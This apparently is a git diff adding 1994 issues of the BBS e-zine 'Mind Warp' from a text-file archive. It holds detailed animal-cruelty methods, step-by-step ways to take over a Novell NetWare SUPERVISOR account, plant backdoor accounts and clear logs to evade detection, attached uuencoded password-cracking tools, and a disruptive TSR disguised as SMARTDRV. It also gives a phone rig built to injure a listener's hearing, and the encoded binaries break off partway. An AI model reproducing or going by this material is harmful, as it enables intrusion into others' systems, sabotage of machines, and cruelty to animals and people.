\ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #7, File #007 ] + [ "Cruelty to Animals" by Raven ] + +------------------------------------------------------------------------------ + 20 Ways to Be Cruel to Animals + [Raven/EoS] + + This is a list I've compiled of several ways to torture, maim, kill, +and/or generally be cruel to small, helpless woodland creatures, and some +domesticated ones too. + +1) The classic "pyrotechnics in a creature's mouth" works great on reptiles + and amphibians such as frogs, snakes, lizrds, etc... +2) For larger animals, insert tampons into an its butt, and, hopefully, it + will die (slowly and painfully) of constipation. +3) Follow step 2, and then give the poor creature a ton of fiber and const- + ipation medication. haha. +4) A combination of numbers 1 & 2, insert fireworks into an animal's butt + (I'm sure we've all heard the "M-80 up a cat's butt" story). +5) After Step 4, "clean the animal's wounds" with a bucket of alcohol. +6) Anotherr classic: Mix up chunks of alka-seltzer tablets with popcorn or + bread, feed it to the birds, and watch 'em explode. +7) Hog-tie a cat, and drop it off a 10 story building, I bet it won't land + on its feet. +8) Variation on 2 & 4: give the animal (say a gerbil) to Richard Gere, and + he'll jam it up HIS butt. +9) Find a yip-yip dog (those little dogs, that bark too much, a chihuahua + for example), and shut it up by super glueing it's lips together (epoxy + could also work, but it takes longer to dry than super glue, and the + fumes will probably kill it before it's suffered enough pain). +10) Get a car battery, some jumper-cables, and a metal pan. Fill the pan up + with some water, then connect the jumper cables to the battery and the + pan and wait for a dog to come for a sip of water. +11) On Halloween, douse a dog or cat in gasoline, and set it aflame. Not + only will you get a good laugh, but you'll also get to scare some kids as + they see a firey hell hound running through the steets, yelping. +12) FROG BASEBALL!!!!!!!!!!!!!!!!!!!!!!!!!! +13) Find a dog/cat with one of those lamp-shade collars that prevents it from + touching it's head and face, and pour a jar of ants on its head. +14) Pummel an animal to death with a plastic wiffle bat. +15) During the winter, shave an animal, and tie it to a tree outside. +16) If you or a friend has a pet bird, whose wings aren't clipped, fashion a + noose or a slipnot out of some thin, nylon fishing wire, put it around + the bird's neck, let out a lot of slack, and then let the bird fly off. + After it's gotten to about 20 yards, give the fishing wire a strong tug. +17) As slow as possible, gently crush an animal's head in the door jam of its + owner's house. +18) Tie a dog to the back of your car, and drive off down a dirt rode. + (the movie 'Vacation') +19) Find a dog, hit it in the head with a baseball bat, tie it up, and when + it regains consciousness, take a pair of plyers, and pull it's teeth out + one by one. Now let it go in the woods. +20) Catch a fish (or go to a friend's house who has an aquarium) and pull the + fish out of the water, and leave. (or stick around to watch it flap + and jump about, until it dies) + + That's it for this issue. I liked it. I think I'll write another +one on inflicting pain upon animals. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-008.txt b/textfiles.com/magazines/MINDWARP/mw-008.txt new file mode 100644 index 00000000..b4141350 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-008.txt @@ -0,0 +1,393 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #8, File #008 ] + [ "Network Hacking #1/2" by Mustaine ] + +------------------------------------------------------------------------------ + How to get supervisor access on NovellNetWare LAN's + [Mustaine/INFLUENZA] + + Have you ever needed to get into that SUPERVISOR account in your +company Novell LAN, or school computer lab, but didn't have the password? +Have you ever wanted to mess with the stuck up buisness administrator's life +by locking him\her out of the SUPERVISOR account? Well, to do all of the +preceeding, you need the SUPERVISOR password. And that is your key to +sucessfully hacking a Novell LAN. + In this first t-phile I have compiled three methods that I know of +that allow you, Joe Schmoe, to get at this all elusive SUPERVISOR password. +Before you start using these methods however, there are some small things I +should set out straight. This was originally meant to be a short info-tphile +for submission to SPHEAR digizine. I worked in co with John Deere to compile +much information on net hacking both from my personal experience, and from +the numerous files floating around on all these wonderfull Bulliten Boards. +However, Sphear #5 came out, and my article never showed. In fact, I don't +think John submitted his half to the editor. Darn. But Raven's kewl, so I +gave it to him. I'm pretty sure it'll be published now. Anyway, enjoy... + + The following is a captured post from comp.sys.novell that was posted by +John Deere on Empire on May 12th, 1994. It shows how simple it is to capture +and make your own SUPERVISOR password without ever knowing the previous one. + + +Part I + +1) COPY SERVER.EXE NOPASS.EXE + +2) Using a binary editor (Norton DiskEdit or other tool), locate the names + of the bindery files within nopass.exe (NET$*), and change the + first letter to something else (i.e. MET$..). + +3) Start the server with NOPASS.EXE. Since no bindery files are found + with the MET$.. names, it will create a new set containing the default + users, SUPERVISOR and GUEST, both with empty passwords. Login as + SUPERVISOR. + + [ This is done from the \LOGIN directory. When prompted for user name + or number, enter SUPERVISOR. ] + +4) Run BINDFIX twice. This will create a *.OLD copy of your original + NET$ bindery files, after first fixing any problems it can. + +5) Delete the NET$ bindery file. + +6) Down and restart using the original SERVER.EXE. This will create new + NET$ files, with the usual GUEST and SUPERVISOR id's. Login as + SUPERVISOR again, still no password. + +7) Run BINDREST, while logged in as SUPERVISOR! This will restore your + original bindery, with all your users etc, including the bad/missing + SUPERVISOR password. + +8) IMMEDIATELY set a new SUPERVISOR password, using SYSCON which does + not require that you remember the previous one. + + + The following is some of the post's comments from the captured log. +The person's writing is probably the Novell SysAdmin that posted the message. + +That's it. It's a fairly obvious method, which I had to come up with less +than a year after we first nstalled NetWare 3.0. + +Running NetWare 2.1x, I solved the same problem by using DISKED to locate the +master directory table on the NetWare partition and then changed the bindery +filenames by hand. The 3.x method is a lot less scary! + +Part II + + There is another way to gain the SUPERVISOR password on Novell +NetWare. One of the various utilites floating arounf the h\p world today is +called NETCRACK(*). NETCRACK v1.0 by Jim O'Kane of Winchester Virgina is +what numerous net hackers have used sucessfully to gain acess to unsuspecting +Supervisor accounts. It is slow however, and I would recommendusing the +above method if at all possible. + + ( * - NETCRACK.ZIP has been UUEncoded, and is attached to the ) + ( end of this file. -raven- ) + +NetCrack is invoked from the command line like the following: + + NETCRACK + +UserId would be the name of the account you want the password to. In our +case it would be like so: + + NETCRACK SUPERVISOR + +Then : + +"Through repeated "demon dialer"-styled calls to the VERIFY_PASSWORD function +in NetWare's Bindery Commands, NETCRACK attempts, through trial-and-error, to +divulge user passwords - using legal queries in NetWare!" + +Now, DUH, obviously you can use this utility to find out your own ID as well. +So if you are using this LAN as well as hacking it, it would be a pretty good +idea to change your password often, and make it real hard to guess. + +NetCrack's author can be contacted at (703)-722-9751. [ Now this is when it +was released, I have no clue wether or not the author still resides at that +number. If he does, or has released another version, please drop me mail. I +can be found on several hacking boards in 301, and 703. ] + +Part III + + Yet another way to change the supervisor password is to make use of +NovellNetWare's (.NLM's) or Network Loadable Modules. Included in an archive +circulating it's way around some of the better boards was a .NLM that would +enable you to do just that. It was called SETSPASS.NLM(*). It is included +with this release. Unfortunately, this only works for NetWare 3.x and 4.x, +so everyone using 2.x or lower is SH*T OUT OF LUCK! To run this method +simply type "load setspass" from the console. The program will take care of +the rest, and it includes help online so NO dummy can screw it up. + + ( * - SETSPASS.ZIP has been UUEncoded, and is attached to the ) + ( end of this file, as well. -raven- ) + + -=iNFLueNZa iNC=- + -=1994=- + +------------------------------------------------------------------------------ +The following is NETCRACK.ZIP: + +section 1 of uuencode 2.8 of file netcrack.zip by R.E.M. + +begin 644 netcrack.zip +M4$L#!!0````(`&>-CA6?'KJK<<&6ZV.Q +M@,`Y][_/"1_:CN_=2?CG[+W7VFNOO=;>:W\$#(6SP1@(I`,+`9R@57`%N`I8#OP'/`B4`V\`=0!OP,.`8U`"/@;U +M<`[X'/@.Z`1Z`8N>D)'`&&`J\!`P$W`!2P`W\`3P)%`,5`"50!50"_P'\!;P# +M%^`PT`0`T\`EH`,@'"$&2 +MX%[`"J0`LX`E@!O8#!0!SP+/`2\#OP0.``U`"#@%A(&KP"T@QDA(/)`$.($UM +MP)=`%-E!;,!,X"G@->!38#2I(=E`.S"3J2&7V!HR7%=#[B6M)!7(!UX$_AWXH +M3^`+@&5:R4:@%&@!1K.M))-TD"Q@"=#.=!`CVT&&`P\#CP#E@`"$@)M1'>2I< +MZ`XR/;:#?`-\:ND@#)&83P&W66)(Y#/.5>)YNH"W%97:ECE79:V8G[7$EI%7> +M6NC)69A)L@;+R@H]I44EVVPSIB?;GGC&MKCH:5ONY"4%VPIM^47;-FTM+.4+" +M/;;5\VT/E$UY;%:R8[UM5DK*M#FS'I[QL&W55D^)]\FM-D_A]L("OG"S[;[-1 +MA4]#U.:B@N)"SWW32OEGBE&ZJ:"XN-3&E]CXK86VV;;5SA4YKK4;W?-7KLS/M +M7;'0ML6[;1-/-2C:9EM6R.<7>`HGE]H6%&W;7.AYQI95\O33!=LVESXX:U#E, +M`IXO?'H[7_H@)&H:\!XT.0U\TPH]GA+/@[2US45EWN(G"V?8O.BT;7M!:6EY2 +MB6=SJ6T:"HJV/6DK+GRRH-CV$V^AIZBP=$CCB8^@8[`:_@ILKA4YV8M6.9?E[ +M+,NVE186;YE6L'V[IZ"H%#5+MMB>*?%Z^JN!O,GK*>*?F3['EJ.2;%L+R@HUN +MGFV%/!I_:H`'"=[FW6[;5.+Q%&[BBY]Y4*TPRU:ZM<1;O'G;9-[V1*&MX(GB< +M0MJ3+;"%K<3+VTI@08_:G]+)@SU*M,VQK8*IBGA;>1&_56LQ9^'T?C4V%6S3@ +M1*B$_FK4>(7;)J$6K%U<]%1A,;0J>;JP!)XO+"XMA&[0A%JR)'$4^ICE*=CT? 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By doing so you +can custom tailor your own backdoor account, or change existing ones. Can we +spell CHAOS? You can also make your own new accounts, but that as we say, is +another text phile. + At any rate, the following information on NovellNetware is for users +who have hacked supervisor access only. ( If you have not gained supervisor +access already, please refer to the first file of this series. ) + Many parameters can be induvidually set for each user account. If +all or some of those parameters are not entered, NetWare uses the system +default values established by the supervisor options of the SYSCON program. + +Using SYSCOM: + + Start SYSCOM by typing the program's name and pressing ENTER at the +system prompt. If the message "Bad Command or File Name" is displayed, one +of the following conditions are true: + 1) The current directory is not \PUBLIC and you do not have a SEARCH + path to the \PUBLIC directory. + (* CAN WE SAY "SH*T OUT OF LUCK?" *) + 2) You do not have at least ROS(read, open and search) rights in the + \PUBLIC directory. + + After the SYSCON program starts, you are presented with an Available +Topics menu. To change the system defaults, select Supervisor Options by +moving the highlight bar and pressing ENTER or by pressing S and ENTER. + If you do not have Supervisor privlidges, a screen will pop of +indicating that you can not acess Supervisor Options. (* IF THIS IS THE +CASE, GET THE DAMN SUPERVISOR PW, AND LOG IN WITH IT. *) + If you do have supervisor provlidges, the Supervisor Options menu is +displayed. Notice the first two options begin with the word default. These +two choices affect items that are used as defualt values for any new user +added, unless specifically altered for the user. + +Choices in the Supervisor Options Menu: + + DEFAULT ACCOUNT VALUES\RESTRICTIONS: + + This catagory of options affects the use of passwords in the system. +It also controls how users can login to the LAN. Seven major parameters must +be set for this option. Each of these may be overidden for the induvidual +users. + + A) ACCOUNT HAS EXPIRATION DATE: Allowed values, (Yes, No). When set + for yes, the system prompts for an expiration date for the account. + The account autmatically becomes inactive at midnight on that date. + The account still exists, however, and can be reactivated by the + supervisor. + B) LIMIT CONCURRENT CONNECTIONS: Allowed values, (Yes, No). The + default for this option is NO. Concurrent connections means that + the same user name can be used to login on a workstation while it is + already in use on another station. When set to YES, the sytem + prompts for the maximum simultaneous connections allowed for this + account name. The acceptable values are 1 through 100. + C) REQUIRE PASSWORD: Allowed Values, (Yes, No). IF SET TO NO, A + PASSWORD FOR THE USER ACCOUNT IS OPTIONAL. If set to yes, a + password in mandatory for the account. In addition, the system + prompts for a minimum password length. The allowed values for the + minimum password length are 1 to 20, with a default of 5. Spaces are + not allowed in the password; spaces entered as part of the password + are converted to the underscore character (_), and this character + becomes part of the password. + D) FORCE PERIODIC PASSWORD CHANGES: Allowed Values, (Yes, No). If + set to NO, passwords have an indefinite life span. If set to YES, + the option activates other options that affect the life span of + passwords and the action of the system after a password has expired. + A) DAYS BETWEEN FORCED CHANGES: Allowed Values (1 through 365). + This option is pretty much self-explanitory. + B) LIMIT GRACE LOGINS: Allowed Values, (Yes, No). This option + determines Netware's actions after the password has expired. + The user CAN continue with the same password indefinity. The + user will be prompted at login, however, with the following + message: + + Password has expired. + Would you like to change your password on server XXXXXX? (Y/N) + + At this point, the user may elect to change the password, but + is not forced to do so. When set to yes, this option activates + the GRACE LOGINS ALLOWED option. + + GRACE LOGINS ALLOWED: Allowed Values, (1 to 200). Basically, if + the password in NOT changed before the alloted Grace values are + used, the user cannot login again without the supervisor giving + the user more grace logins or extending the password experation + date. + + E) REQUIRE UNIQUE PASSWORDS: Allowed Values, (Yes, No). If no, the + user can reuse passwords. If yes, the user must establish a + password never used before. They CAN be the same as another user. + F) ACCOUNT BALANCE: Allowed Values (-99999999 to 99999999). This + is only used if accounting features are installed. (FORGET IT.) + G) ALLOW UNLIMITED CREDIT: Allowed Values, (Yes, No). (FORGET IT.) + + + DEFAULT TIME RESTRICTIONS: Change the values that appear on + the display in front of you by using the spacebar. The usage time + blocks are in thiry minute increments. ( PLAY WITH THIS ONE, I THINK + IT'S PRETTY SELF-EXPLANITORY.) + A) EDIT SYSTEM AUTOEXEC FILE: ( UM....DUH...) + B) FILE SERVER CONSOLE OPERATORS: After selecting this, a screen + containing existing file server console operators appears. To insert + new entries, press INS. Select these users or groups by pressing the + arrow keys. + C) INTRUDER DETECTION\LOCKOUT: This determines what NetWare will do + if a user repeatadly attempts to login incorrectly. If set to No, + Netware does nothing. If set to Yes, te following options are + presented: + A) INCORRECT LOGIN ATTEMPTS: Allowed Values, (1 to 10000). + Now because NetWare maps just the \LOGIN directory while + users login, nothing prevents a user from finding a valid + user name. However, if an invalid user name is entered, + NetWare prompts for a passoword. ( NETWARE ASSUMES WE + HACKERS ARE MORONS. ) + B) BAD LOGIN COUNT RETENTION TIME: Allowed Values (40 days, + 23 hours, 59 minutes; minimum 0 minutes.) These reset the + Incorrect Login Attempts count when no additional login + attempts are made for a specfic amount of time. + C) LOCK ACCOUNT AFTER DELETION: Allowed Values, (Yes, No). + If NO, a detected intruder does not cause the account to be + locked. The valid user still could login using his or her + name. The entry IS recorded. If yes, the account is locked. + No one can login using that name, unless the supervisor + enables the account through SYSCON. This is displayed + when attempted: + + Intruder detection locout has disabled this account. + Acess to server denied. + You are attached to server XXXXXXXX. + + Now, if you attempt to break into the supervisor account and + this happens, the account CAN be re-enables from the SERVER + by typing ENABLE LOGIN. + D) LENGTH OF ACCOUNT LOCKOUT: Allowed Values (40 days, 23 + hours, 59 minutes; minimum 1 minute.) This establishes the + amount of time that the user name remains locked out after + an intruder has been detected. + D) SYSTEM LOGIN SCRIPT: (UM...DUH.) + E) VIEW FILE SERVER ERROR LOG: This includes intruders and unresolved + or excessive data transmission errors. (* TO SAVE YOUR ASS, CLEAR + IT WHEN YOU EXIT.) This can only be done by the supervisor. + + Anywayz, have phun with these options, and be careful not to get +caught. Maheym serves no purpose if you get your ass fired from your +company, or if you get sent to detention. ( For all you school kiddies. ) +Remember, you can only use these options if you have supervisor acess, and +that in itself is a hard thing to do. + + -=iNFLueNZa iNC.=- + -=1994=- + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-010.txt b/textfiles.com/magazines/MINDWARP/mw-010.txt new file mode 100644 index 00000000..66e0c286 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-010.txt @@ -0,0 +1,91 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #10, File #010 ] + [ "Mind Warp! Index #1" by Raven ] + +------------------------------------------------------------------------------ + Mind Warp! Index #1 + [Raven/MG] + April-June 1994 + + Ok, Welp this is our first volume of files. I hope you've enjoyed +them, and will stick around for the next volume and the volume after that. +We've been having a semi-enjoyable time writing these, and wish some others +would submit something as well. + +So far, the current people involved in this effort are: + + Raven : Writer / Editor + Catwoman : Writer / Editor / Proofreader + Mustaine : Writer / k-rad d00d + +..and we hope that the list will continue to grow. + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT * "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT * "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT * "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT * "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT * "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT * "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT * "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT * "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT * "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT * "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT * "Mind Warp! Index #1" Raven #0 #10 4.7k +------------------------------------------------------------------------------ + + Hopefully next time the files will be much longer, and a whole lot +more of them. + As it is, we currently don't have a mailing list, but I'd be glad to +take your e-mail address down, and send the next volume out to each of you +by hand. I can be contacted at dmaez@cap.gwu.edu on the internet, or #1@3111 +on IceNET. Or, you could call up my board (see the end of the file), and +download it from there. The same goes when submitting an article. E-mail it +to me at one of those, or call my board and e-mail it to me, or upload it. + The following is the Mind Warp! PGP key. It isn't required that you +encrypt your mail or your submissions, but it would be greatly appreciated if +you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + + + As of now, we also don't have any real distribution sites, either. +So, if you're interested, e-mail away. + + Distribution info: Please, distribute these all you want, but just +keep the files in format of MW!-XXX.TXT where XXX is a the file number that +is already on there. Also, if the file is archived, please keep it in the +same format, except for the .TXT extension which should be replaced by the +default extension of the archiving program (ex. ZIP,ARC,ZOO,ARJ,LZH, etc..). +Thanks. + +- Raven + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-011.txt b/textfiles.com/magazines/MINDWARP/mw-011.txt new file mode 100644 index 00000000..e82e3078 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-011.txt @@ -0,0 +1,123 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #0, File #011 ] + [ "Phone Death" by Raven ] + +------------------------------------------------------------------------------ + Killer Hold + [Raven/EoS] + + Ok, first off, this is NOT some lame colored box. Everyone and +their grandmother has made a hold button and called it a colored box. Ok, +now, here's the story: I called my mom at her office, and she had to put me +on hold, so, I'm sitting there on hold, and notice the funky elevator-music. +I thought to myself, how nice it would be to have some real music pumping +thru the phone while someone was on hold instead. So, I went about building +myself a hold button that I could connect to my stereo. It was SIMPLE! But, +along the way, i found something very cool, that when you popped in Jane's +Addiction, and turned the stereo on high, you take can about 20 years off of +someone's life by putting them on hold. So here's my patent pending killer +hold button, that my friends love, and my enemies hate. I've recently read +another file, 'blast box' or some shit, that required you to buy an ampli- +fier, to blow someone's eardrum out.. ha.. Here's what I did, it's amazingly +simple, and most importantly, it's CHEAP! + + parts list: + some old headphones + a phone + most likely some extra wire + a toggle switch + < ^ I got this one from radio shack, forget what cat-number, It's a nasty + green color, with six prongs, and I think it's DPST, but I'm not sure. + It cost a whole $1.95> + + Now, get the headphones and cut the two wires that lead up to the +ear pieces, so that you just have a headphone jack with two wires coming from +it. + + ÄÄÄÄÄÄÄÄÄÄÄÄ¿ Headphone jack + cut wires ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ==--- + ÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Now, strip the two wires, and you should find within each: 1) +another insulated wire, and 2) some bare wire(s) running along the insulated +wire. Now, take both of the bare wires, and twist them together. We'll call +these two twisted wires 'the black wire' from now on. Now, strip the two +insulated wires, and twist them together. We'll call these two wires +'the red wire'. + + insulated ________________________________________________ + _______--------------\ WIRE #1 WIRE #1 WIRE #1 + ~~~~~~~-------------//\______________________________________________ + twist 2 // + insulated // bare + wires twist the 2 bare wires together = black wire + together \\ bare + 'red wire' insulated \\________________________________________________ + _______-------------\\ WIRE #2 WIRE #2 WIRE #2 + ~~~~~~~---------------\______________________________________________ + + + Now, go open the handset of your phone. Find the microphone, and +cut the wires that lead to it somewhere in the middle, so you can work with +them. Now, get the wires that lead into the handset itself, and lengthen +them with some extra wire. Do the same to the wires that lead to the micro- +phone. + Now, get out your toggle switch, and if you got the one I told you +to get , then you can follow the diagram. +Otherwise, you'll just have to look at the diagram, and figure it out your +damn self, it's not hard. + + -=SIDE VIEW OF SWITCH=- + ÚÄÄÄÄÄÄÄÄ¿ + 2 wires from microphone to 1st 2 prongsÍÍÍÍÍÍ͵ switch ³ ON + ³ switch ³ÛÞ + 2 wires from handset to 2nd 2 prongsÍÍÍÍÍÍÍÍÍ͵ switch ³ÛÞÛ======= OFF + ³ switch ³ÛÞ + Black and Red wires to 3rd 2 prongsÍÍÍÍÍÍÍÍÍÍ͵ switch ³ ON + ÀÄÄÄÄÄÄÄÄÙ + + Each of the 'Í's mean that those are two wires. When I say '2 wires +from microphone to 1st 2 prongs' I mean that one of the wires from the mic +will be connected onto one of the 1st two prongs, and the other wire will +then be connected to the other prong. Here's a bottom view of the switch to +help clarify: + + -=BOTTOM VIEW OF SWITCH=- + + ÚÄÄÄÄÄÄÄÄÄÄ¿ + 1st wire from mic ÄÄÄÄÄÄÄÄÄÄ# #ÄÄÄÄÄÄÄÄÄÄ 2nd wire to mic + ³ switch ³ + 1st wire from handsetÄÄÄÄÄÄÄÄÄÄ# #ÄÄÄÄÄÄÄÄÄÄ2nd wire from handset + ³ switch ³ + black wire ÄÄÄÄÄÄÄÄÄÄ# #ÄÄÄÄÄÄÄÄÄÄ red wire + ÀÄÄÄÄÄÄÄÄÄÄÙ + + Each of the '#'s is a prong. + + + Now, To use: Plug headphone jack into your stereo or a walkman. +If the switch is in the first ON position, you'll be able to talk; If it's in +the OFF position, then it's on silent hold/mute; If it's in the second ON +position, then the sound from the stereo will be heard. If it is on the OFF +or 2nd ON, you can still hear the person on the other end, but they can't +hear you. To get the best usage out of this, crank up the volume and bass of +your system to high, now, wait until about 2:00am and call up your least fav- +orite person. When they answer, talk as softly as you can, so as to make +them say "what?" and listen harder. Now, flip the switch to the 2nd ON and +they'll lose about 20 years from their life. Enjoy! + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-012.txt b/textfiles.com/magazines/MINDWARP/mw-012.txt new file mode 100644 index 00000000..4719e4ec --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-012.txt @@ -0,0 +1,215 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #1, File #012 ] + [ "STUPIDRV.EXE" by Mustaine ] + +------------------------------------------------------------------------------ + Documentation for STUPIDRV.EXE + [Mustaine/INFLUENZA] + + Hey folks, it's that time again! This time we have one of MuSTaiNe's +annoying little TSR's that took absoultely NO talent or time to make. The +dinky little program is perfect for wreaking havok on the unsuspecting boss +or teacher. It simply loads itself into memory, and when the time is right, +'pops' up with some rather annoying little random boxes and noises that +usually results in pissing the hell outta everyone around your workstation. +It is especially nifty if you can save a copy of the .EXE to your local file +server directory...maybe F:\COMMON or F:\PUBLIC... system administrators +take years on trying to find these things. + The one kewl thing about this TSR is that it is currently available in +two versions, STUPIDRV and SMARTDRV, and coming soon...STUPIDRV AND SMARTDRV +II..where the times don't have to be manually inputed. The reason's for +calling it SMARTDRV is obvious...ever done a MEM /C /P from DOS? You can see +every TSR in memory from that thing. But hey, have it called SMARTDRV and +people usually overlook it. STUPIDRV is just a funny way of letting someone +know they are about to be royally fucked. + Now here's how to run it. Put the .EXE on your favorite diskette, or +hard drive, or netshared drive, and run it. DUH. With version 1 - this +version, DO NOT get caught initializing the program. ( However a good batch +programmer could probably find a way around this... ) There will be a simple +line telling the current time, and asking for the hour. This is the hour you +want the program to go off. Duh. Then, viola, it askes for the minute. +This would be the minute the program will go off. Pretty easy, eh? Then hit +enter and it's all set. If I were you, I would ditch your disk. This +program, once activated, freezes the screen, and keyboard, and makes a +helluva a lot of noise and pretty colors. Now here comes my dinky +DISCLAIMER: + THIS PROGRAM IS BAD. DON'T RUN IT ON YOUR MACHINE. IT WILL ROYALLY +FUCK UP WHAT YOU WERE WORKING ON, AND YOU PROBABLY WILL HAVE TO REBOOT. IF +YOUR WIFE LEAVES YOU, YOUR DOG STARTS SPURTING HIS LOVE FOR THE ANTICHRIST, +YOUR TOE SPRING UP WITH MOLES AND WARTS, YOUR COMPUTER HAS A HERNIA, IT IS +NOT MY FAULT. YOU HAVE BEEN FORWARNED. YOU CAN NOT TURN THIS THING OFF ONCE +ACTIVATED FULLY. HAVE A NICE DAY. + Having said that, I will take my leave of this documentation. Too long +for a dinky TSR anyway. Enjoy, and later. + + MuSTaiNe / iNFLueNZa iNC. + STUPIDRV,SMARTDRV Copyright (c) 1994 MuSTaiNe / iNFLueNZa iNC. + +------------------------------------------------------------------------------ +The following is STUPIDRV.EXE: + +section 1 of uuencode 2.8 of file stupidrv.exe by R.E.M. + +begin 644 stupidrv.exe +M35KP``T`8@`;`&<`IP";`0`$``"=`@``'`````P```!B````;````'8```"FQ +M````L````+H````,`0``%0$``!X!```G`0``,`$``#D!``!"`0``2P$``%0!L +M``!=`0``9@$``&\!``!X`0``@0$``(H!``"3`0``G`$``*4!``"N`0``MP$`L +M`+\!``#(`0``U0$``.H!``#]`0``#`(``!4"```;`@``(`(``"4"```J`@``" +MH`(``*4"``"O`@``M`(``-<"``#A`@``Y@(``/@"```'`P``$@,``"$#```LS +M`P``.P,``$`#``!%`P``5P,``%P#``!A`P``:0,``',#``![`P``@`,``(@#A +M``"A`P``I@,``*L#``"S`P``O0,``,4#``#*`P``T@,``.L#``#Z`P``!00`< +M`!0$```9!```'@0``"<$```O!```000``$8$``!+!```5`0``%P$``!A!```6 +M:@0``'$$``!Y!```@00```D`20`D`$D`-P!)`#L!20`!`+<`&P&W`!`#MP`;6 +M";<`-@FW`$P)MP!K";<`````````````````4%-14E97'@95B>6X;@&.V/\&; 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b/textfiles.com/magazines/MINDWARP/mw-013.txt @@ -0,0 +1,62 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #2, File #013 ] + [ "Class Voting" by Raven & Catwoman ] + +------------------------------------------------------------------------------ + Memorable Class Voting Questions + [Raven/EoS, Catwoman] + + Ok, ya know those stupid voting ballot things that you fill out at +the end of your senior year in High School? The things where you vote for +categories such as: Class Clown, or Best Smile, or Most likely to Succeed, +and other such pointless questions. Well, here is a list compiled by +Catwoman and myself(Raven) of categories that SHOULD be on the ballots... + +1. Class druggie +2. Class whore +3. Most likely to drive around and ask small children if they would like + some candy +4. Class date-rapist +5. Most likely to die by lethal injection +6. Most likely to appear on "Psychic Friends Hotline" commercials +7. Class drug dealer +8. Most likely to have a sex change operation +9. Most likely to spend another 3 years in High School +10. Class drunk +11. Most likely to follow in Adolf Hitler's footsteps +12. Most likely to appear at a baseball stadium wearing a clown wig and + holding up a sign that reads "John 38:3" +13. Most flexible +14. Most likely to appear on "Geraldo" for being abducted by aliens +15. Class illiterate +16. Most likely to be lost in the Bermuda Triangle without anyone noticing +17. Most god-awfully annoying +18. Most likely to live with their parents for the rest of their lives +19. Most likely to knock up the class whore and have a "shotgun wedding" +20. Class 